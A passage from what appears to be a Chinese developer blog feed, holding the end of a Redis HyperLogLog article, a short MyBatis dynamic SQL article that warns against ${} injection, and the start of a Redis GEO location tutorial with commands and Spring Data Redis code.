小基数时（&lt; 2.5 * m），误差较大，Redis会使用Linear Counting修正</span><br><span class="line">- 中等基数时，标准误差约0.81%</span><br><span class="line">- 大基数时，误差稳定</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-误差测试"><a href="#4-2-误差测试" class="headerlink" title="4.2 误差测试"></a>4.2 误差测试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HyperLogLogAccuracyTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testAccuracy</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;hll:accuracy:test&quot;</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="type">int</span>[] testSizes = &#123;<span class="number">1000</span>, <span class="number">10000</span>, <span class="number">100000</span>, <span class="number">1000000</span>&#125;;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> size : testSizes) &#123;</span><br><span class="line">            redis.delete(key);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 添加size个不同元素</span></span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; size; i++) &#123;</span><br><span class="line">                redis.opsForHyperLogLog().add(key, <span class="string">&quot;user_&quot;</span> + i);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="type">Long</span> <span class="variable">estimate</span> <span class="operator">=</span> redis.opsForHyperLogLog().size(key);</span><br><span class="line">            <span class="type">double</span> <span class="variable">error</span> <span class="operator">=</span> Math.abs(estimate - size) * <span class="number">100.0</span> / size;</span><br><span class="line">            </span><br><span class="line">            System.out.printf(<span class="string">&quot;真实值: %d, 估算值: %d, 误差: %.2f%%%n&quot;</span>, </span><br><span class="line">                size, estimate, error);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出示例：</span></span><br><span class="line"><span class="comment">// 真实值: 1000, 估算值: 982, 误差: 1.80%</span></span><br><span class="line"><span class="comment">// 真实值: 10000, 估算值: 10023, 误差: 0.23%</span></span><br><span class="line"><span class="comment">// 真实值: 100000, 估算值: 99891, 误差: 0.11%</span></span><br><span class="line"><span class="comment">// 真实值: 1000000, 估算值: 998263, 误差: 0.17%</span></span><br></pre></td></tr></table></figure><h2 id="五、与Set对比"><a href="#五、与Set对比" class="headerlink" title="五、与Set对比"></a>五、与Set对比</h2><table><thead><tr><th>特性</th><th>HyperLogLog</th><th>Set</th></tr></thead><tbody><tr><td>内存占用</td><td>12KB（固定）</td><td>与元素数成正比</td></tr><tr><td>100万元素</td><td>12KB</td><td>~100MB</td></tr><tr><td>1亿元素</td><td>12KB</td><td>~10GB</td></tr><tr><td>精确度</td><td>概率估算（0.81%误差）</td><td>精确</td></tr><tr><td>获取元素</td><td>不支持</td><td>SMEMBERS</td></tr><tr><td>判断存在</td><td>不支持</td><td>SISMEMBER</td></tr><tr><td>合并</td><td>支持（内存不变）</td><td>SUNION（内存增加）</td></tr></tbody></table><h2 id="六、最佳实践"><a href="#六、最佳实践" class="headerlink" title="六、最佳实践"></a>六、最佳实践</h2><p>#</p><h2 id="6-1-适用场景"><a href="#6-1-适用场景" class="headerlink" title="6.1 适用场景"></a>6.1 适用场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">适合使用HyperLogLog：</span><br><span class="line">- UV统计（独立访客）</span><br><span class="line">- 搜索去重统计</span><br><span class="line">- 广告曝光去重</span><br><span class="line">- IP去重统计</span><br><span class="line">- 大数据量去重计数</span><br><span class="line"></span><br><span class="line">不适合使用HyperLogLog：</span><br><span class="line">- 需要精确计数的场景（如订单数）</span><br><span class="line">- 需要获取具体元素的场景</span><br><span class="line">- 基数很小的场景（&lt; 1000）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-优化建议"><a href="#6-2-优化建议" class="headerlink" title="6.2 优化建议"></a>6.2 优化建议</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HyperLogLogBestPractice</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 1. 合理设置key过期时间，自动清理历史数据</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addWithExpire</span><span class="params">(String key, String element, <span class="type">int</span> days)</span> &#123;</span><br><span class="line">        redis.opsForHyperLogLog().add(key, element);</span><br><span class="line">        redis.expire(key, days, TimeUnit.DAYS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 2. 定期合并历史数据，减少key数量</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">mergeHistory</span><span class="params">(String pattern, String destination)</span> &#123;</span><br><span class="line">        Set&lt;String&gt; keys = redis.keys(pattern);</span><br><span class="line">        <span class="keyword">if</span> (keys != <span class="literal">null</span> &amp;&amp; !keys.isEmpty()) &#123;</span><br><span class="line">            redis.opsForHyperLogLog().union(destination, keys.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">0</span>]));</span><br><span class="line">            redis.delete(keys);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 3. 小基数场景使用Set，大基数切换为HyperLogLog</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">adaptiveCount</span><span class="params">(String key, String element)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">setKey</span> <span class="operator">=</span> key + <span class="string">&quot;:set&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">hllKey</span> <span class="operator">=</span> key + <span class="string">&quot;:hll&quot;</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Long</span> <span class="variable">setSize</span> <span class="operator">=</span> redis.opsForSet().size(setKey);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (setSize != <span class="literal">null</span> &amp;&amp; setSize &lt; <span class="number">10000</span>) &#123;</span><br><span class="line">            <span class="comment">// 小基数用Set</span></span><br><span class="line">            redis.opsForSet().add(setKey, element);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 大基数切换到HyperLogLog</span></span><br><span class="line">            <span class="keyword">if</span> (setSize != <span class="literal">null</span> &amp;&amp; setSize &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="comment">// 迁移已有数据</span></span><br><span class="line">                Set&lt;String&gt; members = redis.opsForSet().members(setKey);</span><br><span class="line">                <span class="keyword">if</span> (members != <span class="literal">null</span>) &#123;</span><br><span class="line">                    redis.opsForHyperLogLog().add(hllKey, members.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">0</span>]));</span><br><span class="line">                &#125;</span><br><span class="line">                redis.delete(setKey);</span><br><span class="line">            &#125;</span><br><span class="line">            redis.opsForHyperLogLog().add(hllKey, element);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>指标</th><th>数值</th></tr></thead><tbody><tr><td>内存占用</td><td>12KB（固定）</td></tr><tr><td>标准误差</td><td>~0.81%</td></tr><tr><td>最大统计基数</td><td>约 2^64</td></tr><tr><td>单个桶数</td><td>16384</td></tr></tbody></table><p>HyperLogLog的核心价值：</p><ol><li><strong>极致的空间效率</strong>：12KB统计百亿级数据</li><li><strong>常数查询时间</strong>：O(1)获取估算值</li><li><strong>可合并性</strong>：多个HLL可合并统计</li></ol><p>使用建议：</p><ol><li>大数据量去重计数首选</li><li>可接受约1%误差的场景</li><li>不需要获取具体元素的场景</li><li>配合过期时间自动清理</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL-的正确写法"><a href="#MyBatis-动态-SQL-的正确写法" class="headerlink" title="MyBatis 动态 SQL 的正确写法"></a>MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis GEO地理位置应用</title>
      <link href="//redis-geo-location-application/"/>
      <url>//redis-geo-location-application/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-GEO地理位置应用"><a href="#Redis-GEO地理位置应用" class="headerlink" title="Redis GEO地理位置应用"></a>Redis GEO地理位置应用</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、GEO基本原理"><a href="#一、GEO基本原理" class="headerlink" title="一、GEO基本原理"></a>一、GEO基本原理</h2><p>#</p><h2 id="1-1-底层实现"><a href="#1-1-底层实现" class="headerlink" title="1.1 底层实现"></a>1.1 底层实现</h2><p>Redis GEO基于Sorted Set（ZSet）实现：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">地理位置编码：</span><br><span class="line">- 将经纬度（二维）通过GeoHash算法编码为52位整数</span><br><span class="line">- 经度、纬度各编码26位，交错合并</span><br><span class="line">- 编码值作为ZSet的score</span><br><span class="line"></span><br><span class="line">存储结构：</span><br><span class="line">ZSet key: &quot;locations&quot;</span><br><span class="line">  member: &quot;shop:1001&quot;, score: GeoHash编码值</span><br><span class="line">  member: &quot;shop:1002&quot;, score: GeoHash编码值</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-GeoHash算法"><a href="#1-2-GeoHash算法" class="headerlink" title="1.2 GeoHash算法"></a>1.2 GeoHash算法</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GeoHash将地球表面递归划分为网格：</span><br><span class="line"></span><br><span class="line">第1次划分：经度2份，纬度2份 → 4个区域</span><br><span class="line">第2次划分：每个区域再分4份 → 16个区域</span><br><span class="line">...递归n次</span><br><span class="line"></span><br><span class="line">编码后的值相邻表示地理位置相近</span><br><span class="line">（但不绝对，存在边界问题）</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">北京天安门：wx4g0b7x</span><br><span class="line">北京王府井：wx4g0c8v</span><br><span class="line">上海外滩：wtw3sjq6</span><br></pre></td></tr></table></figure><h2 id="二、GEO命令"><a href="#二、GEO命令" class="headerlink" title="二、GEO命令"></a>二、GEO命令</h2><p>#</p><h2 id="2-1-添加位置"><a href="#2-1-添加位置" class="headerlink" title="2.1 添加位置"></a>2.1 添加位置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GEOADD key longitude latitude member [longitude latitude member ...]</span></span><br><span class="line">GEOADD shops 116.4074 39.9042 <span class="string">&quot;shop:1001&quot;</span>   <span class="comment"># 北京</span></span><br><span class="line">GEOADD shops 121.4737 31.2304 <span class="string">&quot;shop:1002&quot;</span>   <span class="comment"># 上海</span></span><br><span class="line">GEOADD shops 113.2644 23.1291 <span class="string">&quot;shop:1003&quot;</span>   <span class="comment"># 广州</span></span><br><span class="line">GEOADD shops 114.0579 22.5431 <span class="string">&quot;shop:1004&quot;</span>   <span class="comment"># 深圳</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看编码值（底层就是ZSet）</span></span><br><span class="line">ZRANGE shops 0 -1 WITHSCORES</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-获取位置"><a href="#2-2-获取位置" class="headerlink" title="2.2 获取位置"></a>2.2 获取位置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GEOPOS key member [member ...]</span></span><br><span class="line">GEOPOS shops shop:1001</span><br><span class="line"><span class="comment"># 1) 1) &quot;116.40740543603897&quot;    # 经度</span></span><br><span class="line"><span class="comment">#    2) &quot;39.904211364871584&quot;    # 纬度</span></span><br><span class="line"></span><br><span class="line">GEOPOS shops shop:1001 shop:1002</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-计算距离"><a href="#2-3-计算距离" class="headerlink" title="2.3 计算距离"></a>2.3 计算距离</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GEODIST key member1 member2 [M|KM|FT|MI]</span></span><br><span class="line">GEODIST shops shop:1001 shop:1002 KM</span><br><span class="line"><span class="comment"># &quot;1067.3788&quot;  # 北京到上海约1067公里</span></span><br><span class="line"></span><br><span class="line">GEODIST shops shop:1003 shop:1004 KM</span><br><span class="line"><span class="comment"># &quot;119.0316&quot;   # 广州到深圳约119公里</span></span><br><span class="line"></span><br><span class="line">GEODIST shops shop:1001 shop:1001 M</span><br><span class="line"><span class="comment"># &quot;0&quot;          # 同一点距离为0</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-范围查询"><a href="#2-4-范围查询" class="headerlink" title="2.4 范围查询"></a>2.4 范围查询</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GEORADIUS key longitude latitude radius M|KM|FT|MI [WITHCOORD] [WITHDIST] [WITHHASH] [COUNT count] [ASC|DESC]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询北京（116.40, 39.90）附近500公里内的店铺</span></span><br><span class="line">GEORADIUS shops 116.40 39.90 500 KM WITHDIST</span><br><span class="line"><span class="comment"># 1) 1) &quot;shop:1001&quot;</span></span><br><span class="line"><span class="comment">#    2) &quot;0.0981&quot;        # 距离约0.1公里（北京）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询北京附近1000公里内的店铺，按距离排序</span></span><br><span class="line">GEORADIUS shops 116.40 39.90 1000 KM WITHDIST ASC COUNT 5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询北京附近2000公里内的店铺，返回坐标</span></span><br><span class="line">GEORADIUS shops 116.40 39.90 2000 KM WITHCOORD WITHDIST</span><br><span class="line"><span class="comment"># 1) 1) &quot;shop:1001&quot;</span></span><br><span class="line"><span class="comment">#    2) &quot;0.0981&quot;</span></span><br><span class="line"><span class="comment">#    3) 1) &quot;116.40740543603897&quot;</span></span><br><span class="line"><span class="comment">#       2) &quot;39.904211364871584&quot;</span></span><br><span class="line"><span class="comment"># 2) 1) &quot;shop:1003&quot;</span></span><br><span class="line"><span class="comment">#    2) &quot;1888.4633&quot;</span></span><br><span class="line"><span class="comment">#    3) 1) &quot;113.26439946889877&quot;</span></span><br><span class="line"><span class="comment">#       2) &quot;23.129099598793785&quot;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-基于成员的范围查询"><a href="#2-5-基于成员的范围查询" class="headerlink" title="2.5 基于成员的范围查询"></a>2.5 基于成员的范围查询</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GEORADIUSBYMEMBER key member radius M|KM|FT|MI [WITHCOORD] [WITHDIST] [WITHHASH] [COUNT count] [ASC|DESC]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询shop:1001（北京）附近1500公里内的店铺</span></span><br><span class="line">GEORADIUSBYMEMBER shops shop:1001 1500 KM WITHDIST</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-6-获取GeoHash"><a href="#2-6-获取GeoHash" class="headerlink" title="2.6 获取GeoHash"></a>2.6 获取GeoHash</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GEOHASH key member [member ...]</span></span><br><span class="line">GEOHASH shops shop:1001 shop:1002</span><br><span class="line"><span class="comment"># 1) &quot;wx4g0b7x&quot;</span></span><br><span class="line"><span class="comment"># 2) &quot;wtw3sjq6&quot;</span></span><br></pre></td></tr></table></figure><h2 id="三、Java中使用Redis-GEO"><a href="#三、Java中使用Redis-GEO" class="headerlink" title="三、Java中使用Redis GEO"></a>三、Java中使用Redis GEO</h2><p>#</p><h2 id="3-1-Spring-Data-Redis"><a href="#3-1-Spring-Data-Redis" class="headerlink" title="3.1 Spring Data Redis"></a>3.1 Spring Data Redis</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GeoService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 添加地理位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">addLocation</span><span class="params">(String key, String member, <span class="type">double</span> longitude, <span class="type">double</span> latitude)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForGeo().add(key, <span class="keyword">new</span> <span class="title class_">Point</span>(longitude, latitude), member);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 批量添加位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">addLocations</span><span class="params">(String key, Map&lt;String, Point&gt; memberLocations)</span> &#123;</span><br><span class="line">        Map&lt;Object, Point&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(memberLocations);</span><br><span class="line">        <span class="keyword">return</span> redis.opsForGeo().add(key, map);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查询附近的位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; findNearby(</span><br><span class="line">            String key, <span class="type">double</span> longitude, <span class="type">double</span> latitude, <span class="type">double</span> radiusKm, <span class="type">int</span> limit) &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Circle</span> <span class="variable">circle</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Circle</span>(<span class="keyword">new</span> <span class="title class_">Point</span>(longitude, latitude), </span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Distance</span>(radiusKm, Metrics.KILOMETERS));</span><br><span class="line">        </span><br><span class="line">        RedisGeoCommands.<span class="type">GeoRadiusCommandArgs</span> <span class="variable">args</span> <span class="operator">=</span> </span><br><span class="line">            RedisGeoCommands.GeoRadiusCommandArgs.newGeoRadiusArgs()</span><br><span class="line">                .includeDistance()</span><br><span class="line">                .includeCoordinates()</span><br><span class="line">                .sortAscending()</span><br><span class="line">                .limit(limit);</span><br><span class="line">        </span><br><span class="line">        GeoResults&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt; results = </span><br><span class="line">            redis.opsForGeo().radius(key, circle, args);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> results.getContent();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查询指定成员附近的位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; findNearbyByMember(</span><br><span class="line">            String key, String member, <span class="type">double</span> radiusKm, <span class="type">int</span> limit) &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Distance</span> <span class="variable">distance</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Distance</span>(radiusKm, Metrics.KILOMETERS);</span><br><span class="line">        </span><br><span class="line">        RedisGeoCommands.<span class="type">GeoRadiusCommandArgs</span> <span class="variable">args</span> <span class="operator">=</span> </span><br><span class="line">            RedisGeoCommands.GeoRadiusCommandArgs.newGeoRadiusArgs()</span><br><span class="line">                .includeDistance()</span><br><span class="line">                .sortAscending()</span><br><span class="line">                .limit(limit);</span><br><span class="line">        </span><br><span class="line">        GeoResults&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt; results = </span><br><span class="line">            redis.opsForGeo().radius(key, member, distance, args);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> results.getContent();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 计算两个位置的距离</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Distance <span class="title function_">calculateDistance</span><span class="params">(String key, String member1, String member2)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForGeo().distance(key, member1, member2, Metrics.KILOMETERS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取位置的经纬度</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;Point&gt; <span class="title function_">getPositions</span><span class="params">(String key, String... members)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForGeo().position(key, members);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 删除位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">removeLocation</span><span class="params">(String key, String... members)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForGeo().remove(key, (Object[]) members);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-实际应用：附近的人"><a href="#3-2-实际应用：附近的人" class="headerlink" title="3.2 实际应用：附近的人"></a>3.2 实际应用：附近的人</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NearbyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> GeoService geoService;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">USER_LOCATIONS</span> <span class="operator">=</span> <span class="string">&quot;user:locations&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 更新用户位置</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateLocation</span><span class="params">(Long userId, <span class="type">double</span> longitude, <span class="type">double</span> latitude)</span> &#123;</span><br><span class="line">        geoService.addLocation(USER_LOCATIONS, <span class="string">&quot;user:&quot;</span> + userId, longitude, latitude);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 同时更新数据库（持久化）</span></span><br><span class="line">        userMapper.updateLocation(userId, longitude, latitude);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查找附近的人</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;NearbyUser&gt; <span class="title function_">findNearbyUsers</span><span class="params">(Long userId, <span class="type">double</span> radiusKm, <span class="type">int</span> limit)</span> &#123;</span><br><span class="line">        <span class="comment">// 获取自己的位置</span></span><br><span class="line">        List&lt;Point&gt; positions = geoService.getPositions(USER_LOCATIONS, <span class="string">&quot;user:&quot;</span> + userId);</span><br><span class="line">        <span class="keyword">if</span> (positions.isEmpty() || positions.get(<span class="number">0</span>) == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> Collections.emptyList();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Point</span> <span class="variable">myLocation</span> <span class="operator">=</span> positions.get(<span class="number">0</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 查询附近的人</span></span><br><span class="line">        List&lt;GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt;&gt; results = </span><br><span class="line">            geoService.findNearby(USER_LOCATIONS, myLocation.getX(), myLocation.getY(), radiusKm, limit + <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        List&lt;NearbyUser&gt; nearbyUsers = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (GeoResult&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt; result : results) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">member</span> <span class="operator">=</span> result.getContent().getName();</span><br><span class="line">            <span class="keyword">if</span> (member.equals(<span class="string">&quot;user:&quot;</span> + userId)) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;  <span class="comment">// 